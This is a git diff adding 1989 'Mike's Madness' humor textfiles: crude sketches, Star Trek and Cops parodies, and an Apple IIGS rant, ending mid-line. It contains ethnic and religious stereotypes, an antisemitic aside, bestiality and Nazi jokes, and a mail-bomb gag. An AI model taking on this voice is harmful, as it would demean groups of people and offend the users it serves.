+SHAMUS, THAT'S ME DOG, WAS OUTSIDE! +AND THE BASTA'D SAT ROIT DOWN AND CRIED! +SHUT UP YA BASTA'D!! +SHUT YA BLEEDIN' 'OLE!! +I'M TRYIN' T' DRINK SOME BLEEDIN' FOSTER'S, YA COCKSUCKER! +BLIMEY! + + + SHUT UP OUT THERE ! ! ! + [dial]-[dial]-[dial] + Riiiiiiing + [click] + "'ELLO! This is the bleedin' Police Station. Can I 'elp you?" + "Yes Officer. There's a man outside my window yelling aloud." + "A loud what?" + "Padon?" + "A loud WHAT?" + "Whatchoo talkin' about then?" + "You said a man was yelling aloud. A loud WOT?" + "You are a silly man and I won't talk to you further!" + [click][K + My, that was brief. + + And now it's time for . . . + + + Star Trek: The Next Generation + ------------------------------ + +Captian's Log: + We are three weeks into the new season and the Enterprise has been +attacked by a dreaded enemey: complete and total boredom. Meanwhile, +Ensign Crusher is working on his final project. + +Cap't: Well Ensign, what is this project of yours? + +Crshr: What I've done is cut the shuttle bay in half with a gaint brass + screen which funnels down to this hose. On the other side is 2,000 + tons of some killer Antarian weed. I simply open the bay doors + halfway and the inbalance in air pressure sucks mass amounts of smoke + (which has been produced by shooting the phasers into the weed) + through the hose. The user simply fits his mouth over the hose and + inhales. + +Cap't: Commander Data, what would the result of this experiment? + +Data : Sir, it is my considered opinion that the user of such a device + would get mighty high. In fact, blazed. Stoned. Loaded. Blitzed. + Numb . . . + +Cap't: Thank you, Commander Data. + +Data : . . . Wasted. Bombed. Flattened . . . + +Cap't: Have Commander Data flushed into space at the first possible + moment. + +Crshr: I need him to score the weed, Captain. + +Data : . . . Laid out. Slammed . . . + +Cap't: Oh gawd . . . + +Data : . . . Cooked. Lit. Smashed . . . + +Crshr: Hey Data -- let's go up to Geriatrics and mess with Spock s'more! + +Data : A wise choice, Ensign. I heard he mind-melded with Stoner Harry. + +Crshr: The guy who does all the acid? + +Data : The very one! + +Crshr: This should be fresh! + + +Captain's Log: + I am informed by Warf, our Klingon weapon's officer, that he has +constructed a new weapon's system which he is itching to try out on an +intruder. + +Cap't: Situtation, Lieutennant Warf! + +Warf : Captain, there is a starship of unknown origin floating off our + starboard bow. + +Cap't: Analyze, Commander Data. + +Data : I believe it is a Donut Class Starship, first constructed by the + Canadian Space Agency. The ships were a commericial failure because + the food dispersal unit could only manufacture beer and jelly donuts. + +Cap't: Open hailing frequencies. + +(onto the main screen flicks the image of the bridge of the alien craft) + +Intruder 1: Gimme a jelly, eh? + +Intruder 2: That's all we have, you nob! + +1: Hey! There's a bald guy on TV. How's it goin', Baldy? (snerk) + +2: Give him the speech, eh? + +1: (oh ya!) [A-HEM] . . . G'day, eh? We are from the planet Gretzsky and we +are [burp!] travelling to . . . Hey, where we goin' anyway? + +2: Down to the store to get Dad some more beer . . . + +1: TAKE OFF, You Hoser! We already did that! + +2: [burrrp] Oh yeah . . . + +Cap't: This is Captain John-Luke Piquard of the starship Enterprise. + Identify yourselves! + +2: Okay, how is the Enterprise like toilet paper, eh? + +Cap't: L't Warf, vaporize them! + +2: It was only a joke, eh! + +1: Take off you nob! You can't vaporize us! + +2: Yeah [BUUUURP!], we gotta secret weapon, eh? +(pulls out a device that looks like it's made out of paper clips) + +1: Oh beauty goin', eh? You showed them our secret weapon! + +2: (fumbles device and drops it): Oppps. Oh jeeze, I dropped it. + +1: My brother's a hoser, eh? + +2: Take off! I am not. Get me another beer, eh? + +1: Beauty! Two at a time! + +2: Cheers! [crack] [crack] [clink!] + +1: Who's the dude with the complexion problem? + +Cap't: You are speaking of my science officer, Commander Data. + +1: He doesn't get much sun, eh? + +2: Yeah, you must keep him in a closet . . . + +2: *burrrr-RIP!* + +1: OH! We ain't got the air filter on, you nob! We'll be smelling that for +hours! My Brother the Hoser -- he eats all the saurkraut at Der Wienerwhat- +ever and then downs a case of beer! OH JEEZE! (holds nose and frantically +flaps other hand) TAKE OFF EH! I bet they can smell it clear over there! + +Data (sniffing at the air): I do smell something quite maloderous. + +Crshr: That's just Warf's breath. + +Warf (mildly cheesed): SIR! Permission to punish the upstart! + +Cap't: Not granted, Mr. Warf. And grab a Tic-Tac while you're at it. + +Warf: You're history, Crusher! + +Crshr: Eat shit and die, Godzilla . . . + +Cap't: NEVER say "die"! (heroic pose) + +Warf (astounded): But it's alright if he says "shit"?! + +Cap't: Watch the langauge Mr. Warf. There's kids watching. + +Warf: Well fuck them too! + +Cap't: That's better. + +Crshr: So what are we going to do about the intruders, Captain? + +Cap't: There's only one course . . . + +Reicher (dramatically): The die is cast! + +Cap't: NEVER say "die"! (heroic pose) + +Crshr: But it's still cool if I say "shit", right? + +Warf: Captain, he said "shit" AGAIN! + +Cap't: Watch the langauge Mr. Warf. There's kids watching. + +1 [to 2]: I think I wanna change my hair colour. + +2: Oh, you should dye it, eh? + +Cap't: NEVER say "dye"! (heroic pose) + +Warf [to Crusher]: And you better not say "Shit"! + +Cap't: Watch the language Mr. Warf. There's kids watching. + +All: WELL FUCK THEM TOO! + +Cap't: That's better. + +*********** B O O M *********** + +1: OH, Beauty! Those hosers' ship blew up, 'eh? + +2: Musta had too many beers, eh? + +1: No, the hoser that's writing this ran outta things to say. + + + And so I have + + + +(C) 1989 Yucks-For-You, Inc. + + diff --git a/textfiles.com/magazines/MIKE/mike14.txt b/textfiles.com/magazines/MIKE/mike14.txt new file mode 100644 index 00000000..0fa10e20 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike14.txt @@ -0,0 +1,203 @@ +Mike's Madness #14 + + *Ring* *Ring* . . . *Ring* *Ring* . . . *Rin.. +[=Click=] + "Hello, Scumbag Computer Center. Can I help you?" + "Yes, I would like to complain about the mouse what I just purchased +from your store." + "Oh, you mean the Scumbag Surpise?" + "It certainly was that, alright!" + "What's wrong with it?" + "When I got it home, I opened the box and therein discovered that not +only was the promised mouse not included, but in its place was a large rat." + "Was it dead?" + "The truth lies in quite the opposite direction." + "Whew! For a minute there, I thought we'd sold you a dead rat!" + "Look mate, I don't give a bleedin' damn about the status of its +metabolic processes. You sold me a bloody rat!" + "Well sir, rats are much better than mice! Much larger, you know . . ." + "I shall not debate the truth of that statement -- it was much larger +than a mouse. To the tune of roughly 10 stone . . ." + "Ahh! You got a good one." + "A good 'un A good 'un? What's so bloody good abou' a 10 stone rat?" + "Well, for starters, it's much easier to keep track of . . ." + "'oo the 'ell wants to keep track of a 10 stone rat?! I should say that +I would sleep better at night not knowing of the existence of such a +creature!" + "Can't blame us for that, sir." + "The bloody 'ell I can't! I'm not a bleedin' Magistrate, but I'm quite +sure there's laws prohibiting the selling of vermin as computer peripherals +within the U.K., or for that matter in Europe, Japan, Asia, Austrailia (tho' +it's doubtful), or any other place built above the ocean. Furthermore, it +is my heartfelt opinion that on as yet undiscovered planets, such laws as to +prohibit the wanton sale of carnivorous mammals willfully disguised by +certain corrupt members of the computer trade as anything but "1 LARGE, +VICIOUS AND POSSIBLY RABID RAT. WEIGHT: 10 STONE." have been enforced +(preferably with death; torture and death; beheading and death; a quick knee +to the groin, a dagger up the strap and death; death death torture and +death; 'avin' a live tiger jammed up your ass with a stick and death; or +death 'avin' to watch 20 hours of WWF Wrestling, death death death, +excruciating torture for 20 hours, death death, more torture, topped off +with death!) for the last 20 millenniums." + "Sir! Our rats aren't just any vermin! Each rat is caught by Buddy +(when 'e's not undergoin' electro-shock) and personally examined by our very +own Rat Quality Control Inspector! These are the finest rats the U.K. 'as to +offer!" + "If that's so, why was the furry little bastard foamin' at the mouth?" + "Rats like to foam, sir! It's a display of affection . . ." + ". . . And it bit me wife on the left butt-ock!" + ". . . She must have scared it, sir!" + "'ow the 'ell do you go about scarin' a 10 stone rat?" + "Perhaps it saw a wombat!" + "A . . . wombat...?" + "Yes sir! 10 stone rats are deathly afraid of wombats!" + "Indeed . . ." + "Yes sir!" + "And from which source did you glean that mostly un-true bit of +rodential lore?" + "From 'Patching's Book of things a 10 Stone Rat 'as to be Deathly +Afraid of', sir." + "Uh-huh . . ." + "As used by the Queen!" + "And which Queen would this be? Perhaps Queen Bigtits of Zambia? Or +even Queen Makingsillynoises of Nigeria? Because I know for a fact that the +only thing HRM 'as used the aforementioned text for is State's Exhibit 1 in +the fraud case last involving those selling vicious mammals as things which +they are not!" + "My honor is deeply offended sir . . ." + "I don't give a fuck about your honor! I just paid 210 pounds for a rat +that weighs almost the same!" + "Well sir, what do want me to do about it?" + "I wish to place an order for 20 more . . ." + "And would you like our 'Scumbag Computer' software with those?" + "What's that then?" + "It's a link, sir." + "No no no, the catalog!" + + SCUMBAG COMPUTER'S SUMMER 1989 SOFTWARE CATALOG + (as used by the Queen) + + + "That's Queen Bigtits again, i'nt it?!?!" + "SHHHHHH!" + + +Vatican Software +(as used by the Pope!) + + + "And which Pope might that be?!" + "Sir, please!: You're interrupting the sketch . . ." + + +THE CRUCIFICTION: (12 pound 8) + + What a great way to learn about the last moments of our 'oly Father. +Move our crucified father across the bottom of the screen and hit the "Wrath +of God" button and Christ's halo shoots straight up and knocks out such +baddies as Hindus and Abortionists outta the sky and sends 'em straight +to Hell for eternity. + No rats included. + +SIN TAX: (3 bob) + + The latest in our Confessionware series designed to help priests decide +which pennance goes with which transgression. + +Example: + +Sinner: "Bless me father, for I have sinned. It has been a minute anna + 'alf since me last confession." +Priest: "I'm ready to hear you, my son." +Sinner: "Since I last confessed, I stuck me hand so far up a fox's ass I + felt 'is tonsils . . ." +Priest: (quite interested): "Really?" +Sinner: "Yes sir." +Priest: "Uh, you wouldn't happen to have any pictures, would you? Or maybe + some video? Perhaps a explicitly detailed written account? Or maybe + you could show me this fox . . ." + + + DEAR SIRS!!!! + + I've been a priest for the last 1,200 years and I have never read + filth such as this! Well, actually I have. Many times. And the whole + lot can be yours for just 12 bob. That's right, just 12 bob will bring + you a collection of the finest smut available in the U.K.! This + assortment of raunch is guaranteed to get a rise out of even the most + conservative M.P.! Blimey! BLIMEY! This veritable Encyclopedia + Britantica of filth simply oozes with perversion! Ah it's ROIT + repugnant! Just listen to some of my satisfied customers: + + "Better than 'Naughty Girl's Commune'!" + -- Mikhail Gorbachev + + "I like it much more than being dead." + -- Hirohito + + "We are not amused!" + -- Queen Victoria + + "I am!" + -- Rob Lowe + + "It's a sure bet!" + -- Pete Rose + + "Oughtta be buried!" + -- Dorthea Puente + + "Yes, yes -- I liked it very much . . . uh . . . errmm . . . + hmmm . . . What's a 'foreskin'?" + -- Dan Quayle, V.P. (Veritable Pinhead) + + "Dan, I told you once, I told ya a million times: DO NOT talk to + the Press! How do ya think Uncle Ronnie managed to visit TWO + terms of hell on the American people?" + -- George Bush, P. + + "Fawn Hall knows position 493 by heart!" + -- Oliver North + + "I taught America position 5. The one that starts with 'grab heels'." + -- Richard Nixon + + "I saw Penny do number 38. TWICE!" + -- Brain + + "Well at least I didn't get Mrs. Snider's poodle pregnant!" + -- Penny + + "I did!" + -- I. Gadget + +----------- +Rin-Tin-Tin: +K-9 Copout! +----------- +Timmy: "Mom! Look what Rinty's doing to that man's leg!" +Mom: "That's not a man, it's your Aunt Helga and she likes it." +Helga: "Ya ya, dat ess goot dog, ya. How is mine Himmler today?" +Mom: "His name is Rin-Tin-Tin, not Himmler!" +Helga: "Nien! Ess Himmler!" +Timmy: "What did ya bring me from Germany, Aunt Helga?" +Helga: "I bring you an autographed copy of Mien Kampf." +Timmy: "Aww, ya brought me one of those last time!" +Helga: "'Und a JU-87 Stuka divebomber!" +Timmy: "Wow! Mom, can Rinty and I go play with my Stuka?" +Mom: "Don't fly too close to the air force base . . ." +Timmy: "I won't. C'mon Rinty!" (they run off) +Helga: "'Und for you, mine darling seester, I am bringing you a copy of + 'Your Sex Organs can bring Victory to the Reich'" +Mom: "Any pictures?" + + + And now a note from Mike Beebe: + + Due to complaints received from our readers, the remaining portion of +this Mike's Madness article will contain no references to bestiality, +Australia, Foster's Lager Beer, famous German World War II personalities, +foxes, German Shepards, rats, or World War II aircraft of German (or any +other) origin. Thank you. + + diff --git a/textfiles.com/magazines/MIKE/mike15.txt b/textfiles.com/magazines/MIKE/mike15.txt new file mode 100644 index 00000000..d5e3fd8c --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike15.txt @@ -0,0 +1,218 @@ +Keywords: Mike's Madness #15 + + Ever watch a TV show and someone'll say: + + "Take this, you son-of-a-[BEEP]!!"? + + And you, of course, fill in the missing word. + + "Son-of-a-Bitch," you say in your mind. + + And so does every human being who hears the beep, because the mind +naturally completes recognized patterns, no matter how fragmented they +are. We know that "bitch" follows "son of a" just like night follows +day or Pete Rose follows bookies. Unless of course you're Russian. +Then, "son of" is usually followed by "Ivan" or "Mikhail" or somesuch +male Russian name that reminds you of various blackspots on the +otherwise clean and white tapestry of Russian history. + + But anyways, I was talking about how censors cover-up swear words +with bleeps and stupid sound effects. The whole reason they go through +all this bullshit and cut up decent movies into nonsequential nonsense +is so our children won't hear words usually only associated with the +description of Apple products. + + Now, I don't wanna get on anyone's case about this, but I am wholly +amazed by Apple's IIGS system. This is the most mazing case of reverse +technology in computer history! In the age of the 386/33 and the +486/25, Apple Computer comes out with a machine that runs at an +astounding 2 mHz! AND, you can speed it up to a blinding 2.5 mHz. +HOLY SHIT! Two point five? You know how they play THAT one off? The +salespeople tell ya "Yeah, and the high-speed mode speeds up the CPU +25 PERCENT!" What the HELL is this?! Did some dude at Apple get Woz +really plastered and then say: + + "Hey Steve! I'll tell ya what -- if we can't beat 'em at making +the fastest machine, by God -- we'll beat 'em at making the SLOWEST!"? + + Because they DID! + + This thing's like a slug in winter! And as if this Yugo CPU wasn't bad +enough, they get a disk drive straight out of computer Hell! You ever load a +program on a Commodore 64? I mean waiting 20 minutes for Zork to load might +have seemed like a long time then, but you load Zork on a IIGS, and boy, you +are in for a WAIT! Your grandkids'll be sittin' there waitin' for that +fucker to load. I'm not joking! If you have a monitoring program, you can +see the drive plinking off bits in a completely leisurely manner. Plodding +doesn't even BEGIN to describe it! Plodding suggests MOVEMENT, and if you +can master the almost Zen Buddhist-like art of sitting still in front of a +II GS drive long enough to detect the motion of the disk, then you've got a +pretty good idea of what taking THORAZINE is like! If you can sit still that +long, you're qualified to be a National Monument! + + And when you pay for it, it's like you bought a C-64, BUT AT AN +IBM PRICE! A good (and that's a word not commonly used in conjuncture +with "GS") system will put you back close to $3,000! You can get a +decent (there's another one of those aforementioned words) 286 system +for that! And a 286/12 kicks this thing's ass so many ways you can't +count 'em! (at least not on a GS). + + They call it "GS", but they don't tell you it stands for "Goddamn SLOW"! + + Oh, it's got great graphics. Serious, this thing's got the +graphics. But it's like having unlimited credit at a Goodwill shop! +You'll also wait MONTHS before their demo picture of the golden King +Tut finally gets to the screen. The whole time, at wholly random +intervals, you'll get messages like: + + "Now computing byte 53, bit 6, of 648,457 bytes. Next report in 20 mins." + + And just about the time you've gotten the .12 gauge outta the +closet with the computracide on your mind, the little fucker'll pop up +some Fable ROM program imbedded in its enfeebled memory and tell you a +little a story like: + + "Once upon a time, there was a sloth and a cheetah. The cheetah +was a very fast cat and the sloth a plodding oaf. Too many times was +the cheetah caught speeding by the CHP (oh hey, for those of you who +have the unfortunate fate of living outside California, CHP means +California Highway Patrol) and the CHP sawed the poor cheetah's legs +off. + + "Moral: People who buy fast machines often get their legs sawn off." + + You stand there, looking dumbfounded. + + "What?" you ask yourself. + + And the GS answers: + + "Now computing byte 53, bit 7, of 648,457 bytes. Next repot in 20mins." + + You'll blast that son of a ----- (y'all said 'bitch', dinja? See?...) +straight to computer Hell where some poor bastard'll hafta wait for it to +compute PI to 20 billion digits (NOW you know why you need PI calculated 20 +billion digits!) before he can go to Heaven! + + THIS THING IS A TURD! It's a cattle-dropping of a computer! The +day Apple introduced this li'l gem was forever to be known as "The Day +Silicon Valley Smelled like BULLSHIT" because if you call a turd "a +rose", IT'S STILL A TURD! I don't care what PR says! If it's brown and +smells like shit, IT'S PROBABLY A TURD! + + You want to have some fun with an Apple Dealer? Get dressed in +your best business suit and walk into AppleLand or any store that only +sells Apple and go up to a dealer. Look for the slimiest one. Tell him +you've been thinking about getting a II GS for your family for months +and have finally decided to buy the best II GS system available. Now +if you could only see a demo, you would be convinced that you were +spending your money wisely. They'll put on the dog and pony show for +ya and show you some cute program. + + Then tell the dealer you use "Harvard Graphics" a lot at work (or +any other HUGE program they have II GS versions of) and seeing how it +looks on the II GS would close the deal. And the whole time, talk +about hard drives, expensive monitors, and lots of software. But don't +mover-do it or they'll figure you out. + + But anyway, when he plops in the full 1.8 meg floppy to be read +at 300 baud by the disk drive, you start a conversation, and casually +introduce how speed in a computer is important to you. Mention the +fact that you work with a 386/33 at your office and tell him that the +baby really flies! Keep talking about how impressed you are with the +22 millisecond access time on a Compaq 110 megabyte hard drive. Tell +'em how you load MS Windows in 3 seconds. 2 seconds for Harvard +Graphics. Then, VERY casually look at the II GS drive, then look at +your watch. Frown. Do it again with a very slight look of disbelief. +Ask, "Is it done yet?" quizzically . . . + + Watch the little weasel SWEAT! + + Oh, it will do you a WORLD of good! + + Caution! If you start busting up now, it's OVER! You won't EVEN +stop! But if he recovers and gets the conversation going again, just +look over towards the drive every so often and sound slightly more +irritated each time you reply to the dealer. THEN: Look at the drive +and then at your watch again. Look the dealer right in the eye and +ask, "Is it done loading yet?" with a little more irritation. + + Just see how many times you can repeat the cycle. When the Dealer +starts getting really pissed about being asked "Is it done loading +yet?" a million times and gets rude, or the program actually loads, +you close the deal. But then look at the computer, then at your watch +and tell him "I need to reconsider this. I'll come by again if I +decide to stay with this machine." Look at the machine and shake your +head while saying "But it's doubtful," and walk out. + + You will have fucked that guy's day! + + If you wanna really dangle the dude on the hook, get him to admit +Compaq is superior to Apple. Just mention the 386/33 in your "office" +again and then ask: + + "What does this machine run at? 10 megahertz? 8?" + + "2" the Dealer will admit. + + Look him right in the eye and ask in the your most astounded voice: + + "2?" + + The dealer will shrivel up like a snail with salt poured on it! + + If you have enough Apple-only dealers in your town, you and a friend +can make an afternoon of it! And every time you walk out of one of those +places, after rightfully humbling those toadies, you feel at one with +nature, and animals will cross the street to be near you. + + Heh heh heh. + + I'm sorry, before I got off on all the Apple stuff, (by the way, +I don't want everyone thinking I hate Apple computers. That was just a +little good-natured prod to remind the folks at Apple which half of +the 80's we are in.) I wuz talkin' about censoring TV programs for +the sake of our chidrens' language. Okay, do this: + + Tonight when you go home, walk up to your kid and ask him/her to +complete this sentence: + + "Mike Tyson is one bad mother _______!" + + Your kid'll look you straight in the eye and say: + + "Fuhka." + + This is the exact and true nature of what censoring TV movies +accomplishes. + +----------------------------------------------------------------------------- ++ * Mike's Madness Disclaimer * + +----------------------------------------------------------------------------- + Dis claim is to disclaim da claim dat I claim to have represented +Apple fairly in the above file. In all honesty, the IIGS is a good, +but slow, graphics and family machine. + + The only reason I'm writing this is so Herb, my jew lawyer (hey, +don' take that wrong! I love Herb and his family and I even give their +kids Barmitzva presents. But dude, gargle after the lox -- please.) +can rest easy. Chill, Herb. Ever hear of "fair criticism"? I'm sure +their lawyers have. How much do I pay you, again? . . . . Oh. +Hey Herb, uh . . . you know how much Jacoby & Myers charges? Just curious. + ________________ ________________ _________________ ______________ +I__________________I___________________I___________________I_________________I + + Keep dem cards an' lettas comin'! Even those of you who are +writing to bitch and moan. Nah, I'm kidding. If you've got a +complaint, keep it to yourself. Heh Heh. Anyway, I wholly appreciate +many mail I get. Try to keep criticism in the arena of good taste and +attacks against the writing, not the writer. + + . . . So then there was Modest Moussorgsky's symphony about a +flasher with a Polaroid. It was called "Pictures from an Exhibitionist" + + Nyuck Nyuck Nyuck! [POP!] Oooooooh, a wise guy! + +----- +(C) 1989 Yucks For You + diff --git a/textfiles.com/magazines/MIKE/mike16.txt b/textfiles.com/magazines/MIKE/mike16.txt new file mode 100644 index 00000000..8f2d0b7c --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike16.txt @@ -0,0 +1,225 @@ +Mike's Madness #16 + + I'm not a man who has a lot to say, but I like to say it often. + + + It's America's most hazardous game show! + + It's . . . + + FEDERAL JUDGES OPEN THEIR MAIL! + + + Today's contestant is Federal Judge Roy B. Parkus! And Judge Parkus +got this in the mail . . . + + B O O M ! + + . . . today. Well, bad luck there, Parky. So that leaves the score +Racists 3, U.S. Judges nada. And don't forget this week's Helpful Hint: +If it's ticking, don't open it. Bye now! + + FEDERAL JUDGES OPEN THEIR MAIL is sponsored by: + + The U.S. Postal Service + + + Dear Sirs, + + I have been a judge all me life, and only exploded 3 times. + + Right Hon. Jacob L. Spameater + (age 6) + + P.S. Why can't we have a bit about Rudolf Hess? + + + "Oh look, it's Rudolf Hess!" + "Blimey! It is!" + "Wot's 'e doin' over by Mrs. 'enley's?" + "'e's committin' an act of Nazi oppression!" + "Right on Mrs. 'enley's roses! I shall ring the police!" + + [dial]-[dial]-[dial] + BrrrrBrrrr BrrrrBrrrr Brr + [click] + + "Hello, Links Dept!" + "I'd like to speak to the constable in the next sketch." + "Righty-O!" + + BrrrrBrrrrr BrrrrrBrrrr B + [click] + + "Constable Wombat of the Next Sketch, can I 'elp you?" + + "Rudolf 'ess is committin' acts of Nazi oppression in Mrs. + 'enley's roses again!" + + "Can't 'elp ya, Mrs. Skinhead. We got Joseph Stalin locked + in the men's loo at the Row." + + "BLIMEY! Won't that have vast and complicated repercussions + on the changing face of Eurocommunism in pre-EEC Europe?" + + "No." + + "You're just sayin' that to calm the masses!" + + "I'm not going to have to send the van around again am I, + Mrs. Skinhead?" + + "No no no . . ." + + "Look, just go out there and tell Rudolf to get out of Mrs. + Henley's roses. Then throw rocks at him 'til he does." + + "Thank god for the police department!" + + "Sod off you old whore!" [click!] + + +Q: What happened to your legs, my good man?" +A: Sawed off, you old whore. + +(#12 in a series of things NEVER to say to the Queen unless she + says them first) + + + "'oo said that, then?" + "Said wot?" + "Sawed off, you old whore." + "BLIMEY! I was just ASKIN'!" + "NO, that's wot they SAID!" + "'oo said?" + "Shut up and see wot's on the telly!!" + + [click] + + "We are Guns 'n Roses + We sing loud and lame + If you sing anything loud enough + It all sounds just the same! + We're Guns 'n Roses + We're Guns 'n Roses + Please buy our C-C-C-D!" + + [click] + + "Tonight Channel 3 News has learned that Betty Vasquez dyes her hair!" +(Yeah, like that was any big secret) + + [click] + + "Tonight on This Old House, we're gonna jam Norm's face into the band +saw for bein' such a smartass upstart! Oh yeah, just you wait 'til HE +forgets the building permit! I'll bet they don't shitcan him like they did +ME! Pushed ME right out the door! It was all about 'Asta Bob, C-ya!' and +I was outta a job! Fuckers." + + [click] + + "Doctor, what's that?!" + "It's a large pile of dung, Leela." + + [click] + + "In Bistol, England today, rock musician and star of Pink Floyd/ +The Wall Bob Geldorf said he's had it up to his ass with worthy causes and +instead would seek huge sums of cash for personal gain. + + So did Donald Trump." + + (I tell that joke in the sincerest hope that history places Mr. Trump +up with others of his ilk, including Nero, Caligula, William Randolf Hearst +and Leona Helmsley, who shoulda gotten 5,000 years as ship's whore on the +Star of Bulgaria.) + + [click] + + "The BBC would like to announce that Prime Minister Margaret Thatcher +is dead. Unfortunately she's not." + + [click] + + "OHHHH WILLLLLLLLBURRRRRRRRR! Not the baseball bat, Willllburrrrr!" + + [click] + + ... tonight on Masterpiece Theater, we see episode three of Ron the +Bastard's immortal "Drop 'em, Love", a story about a man and his obsession +with sailors ... + + [click] + + Hi kids, Ozzy Ozbourne 'ere for Dexa-Trim + + *Buuurrrrr - RAaAaAaAP*! + + Gawd, sorry about that; it's the bleedin' Bangers and Bass I 'ad for +breakfast. OI! When do I get paid for this?! + + [click][K + + "Turn the bastard off!" + + [CLICK!] + +------ +Why I don't give my number to people who fry anymore . . . + +3:45 am: + +RIIIIIING RIIIIIIIING RIIIIIIIIING + +"Hello?" +"I just saw Gurbymurble!" +"You saw who? Who the hell is this?" +"James! I saw Gurbymurble!" +"Who the hell is Gurbymurble?" +"That Russian dude!" +"You mean Gorbachov?" +"Yeah, that dude!" +"You're calling me at 3:45 in the morning to say you saw Gorbachov on TV?!" +"No man, not on TV! I saw the dude at the 7-11!" +"What the hell would Gorbachov be doin' at the Darkville 7-11?" +"He was buyin' a pack of smokes!" +"The only reason Mikhail Gorbachov would be at the 7-11 buying a pack of +smokes at 3:45 in the morning is because you dropped five hits of acid at +midnight and have in fact seen Willy tryin' hold up the store again. +What, praytell, did this Mr. Gorbachov look like?" +"Uh, he was a tall black dude holding a .45." +"And when was the last time you saw Gorbachov holding a .45?" +"Tonight at the 7-11!" +"Uh-huh . . ." +"Hey dude! It's almost 4! What are you doin' up?" +"I'm talking to a moron." +"Aw fuck him! Listen, you won't believe what I saw!" +"You saw a black Mikhail Gorbachov holding up the 7-11 . . ." +"DUDE! Did I tell you about that?" +"YES! Yes you did, thank you!" +"I saw a 400 pound spider eat a cop!" +"Oh? And where did this little atrocity happen? Not at the 7-11 +by any chance?" +"No man, on channel 31! It's a movie called 'A Big Ol' Fuckin' Spider +Eats a Cop'" +"More like '5 Hits of Acid Eats a Loadie's Brain'." +"I haven't had 5 hits of acid!" +"My sincerest apologies . . ." +"I've had 6!" +"Hang up the phone or I'm givin' the Jehovah's Witnesses your address." +"Where you think I got the 6 hits from?!" + +S L A M ! ! + +----- +Welp, that's it for now. And remember: Don't play with yourself and drive -- +it's not just a good idea, it's a good way to keep your car clean! + +Wholly tactless humor (?) written by: + +Mike "I'm not a writer, but I play one on TV" Beebe + +(C) 1989 Yucks For You, Inc. + + diff --git a/textfiles.com/magazines/MIKE/mike17.txt b/textfiles.com/magazines/MIKE/mike17.txt new file mode 100644 index 00000000..880c8b7d --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike17.txt @@ -0,0 +1,435 @@ + ----- + C O P S + ----- + + Filmed on location in Sacramento, California, as it happens. + +All these offensive little creeps are assumed innocent, which we all know +damn well they're not, until proven guilty in a court of law, which we all +pray they will be. + +Cops will return after these messages. . . + +NEXT TIME ON AN ALL NEW "STAR TREK -- THE NEXT GENERATION". . . + +The Enterprise is plagued by Australians! + +Bruce 1: "G'day Bruce!" +Bruce 2: "How are 'ya then, Bruce?" +Bruce 3: "Blimey, it's cold in 'ere, Bruce!" +Captain Piquard: "WHO THE HELL ARE YOU PEOPLE? GET OFF MY SHIP!!" +Bruce 1: "'oo you tellin' t' get offa this ship?" +Bruce 2: "'e's tellin' YOU, Bruce!" +Bruce 3: "Where's the bleedin' Foster's?!" +Bruce 2: "Where's the Shielas?" +Captain Piquard: "WARF!" +Bruce 1: "That's how a harelip dog barks!" +Bruce 2: "Quite witty, Bruce!" + +It's roit good fun, mate! + +Next time on . . . "STAR TREK -- THE NEXT GENERATION!" + +We now return to Cops. . . + +----------------------- +9:03 P.M.: ROUTINE STOP +----------------------- + +(Cop rambling on while following a beat-up '65 Plymouth with a bumper +sticker that says "Legalize Pot!") + +"Yup, this looks like a live one . . . Lez git 'im! Hit the lights, Charlie!" + +[BWWWWWEEEEEEEEEEEEEE--UUUUUUUUUUUUUUU! BWEEEEEEEEEEEEEEE-UUUUUUURRRRR!] + +"Pull ova' there, boy! Git that Plymouth o' yours on the shoulder!" + +(Dude pulls over, camera follows cop outta the car.) + +Cop: "Hey Boy! This is ELK GROVE! Whatchoo doin' with that Legalize Pot + sticka on yo' bumpa? You ain't got no POT in there, do ya?!" + --- + +Driver: (a hippy-lookin' dude with sun glasses on at night) "Oh hey + man, why you givin' me a hassle?" + +Cop: "Boy, I'm gonna give you more anna hassle! HEY! You hit a skunk?" + +Driver: (sniff sniff) "OH YEAH! . . uhhh . . . I hit a whole shitload + of 'em on the way back from downtown! Yeah. . ." + +Cop: "HEY! We's on TV! Don't you swear like that none!" + +Driver: "Ah shit! Did I swear?" + +Cop: "BOY! YOU DONE SAID IT AGAIN!" + +Driver: "I'm real fuckin' sorry. . ." + +Cop: "They gonna have t' bleep that out! Don't give these TV boys any + trouble! They might not show it on TV. And my wife will be really + upset if they don't show it on TV!" + +Driver: "You're breakin' my fuckin' heart, pig!" + +Cop: "I'M GONNA BREAK YER FUCKIN' SKULL, BOY!" (cocks back nightstick) + +Driver: "WHOA! I won't give ya any shit . . . err, trouble." + +Cop: "Hey -- you keepin' a couple 'o dem skunks here in yer trunk?" + +Driver: [nervous] "No man . . . uhhhhhhh . . . maybe one of 'en got stuck up + underneath my gas tank . . ." + +Cop: "I'm gonna open yer trunk -- you got any objections?" + +Driver: "No man, but I lost the key!" + +Cop: (reaches in car) "What's this here key on your key ring marked + TRUNK for?" + +Driver: "Oh THERE it is!" + +Cop: "Nice try, boy!" + +(cop goes around back with the key and opens trunk) + +Cop: "BRING THAT BOY HERE, CHARLIE!" + +(cop's partner grabs hippy out of the car through the window and +drags him around to the back of the car.) + +Cop: "BOY! WHAT'S THIS LOOK LIKE TO YOU?!" + +(points inside trunk) + +Driver: (surprised) "Oh wow, man! It looks like a hundred and forty-seven + pounds of MARIJUANA!" + +Cop: "YEAH! And I think that's EXACTLY what it is, TOO! Whatchoo doin' with + a hun'red an' forty-seven pounds of top grade Humbolt High in the + trunk of this here car?" + +Driver: "It ain't mine, man!" + +Cop: "Oh yeah? And what's this item in yer shirt pocket?" (pulls out a + roach 4 inches long and as big around as a quarter -- The kinda roach + you get from a Foot-Long of purple Kush you can get at a park in + Ashland, Oregon). + +Driver: "It's a cigar butt!" + +Cop: "If this is a cigar butt, can I smoke it then? (lights the roach + and takes five big puffs) This thing don't taste nothin' like a cee-g... + + * * + . * + * * . + * + . * S P R O I N G ! + * . + * * * . * . * . * + +...Oh hey, we can let this dude go. He's clean. I'm gonna keep this here +cigar (puff puff puff). Hey! I wanna have a talk with you TV boys for a +second . . . Hey boys, uh, what'll it take to make you lose that tape?. . ." + +(fade out) + +Cops will return after these messages. . . + +Tonight on THE REPORTERS: + +Journalism -- Is it the protector of the First Amendement or a whore of the +publics' morbid curiosity? + +Hunter S. Thompson 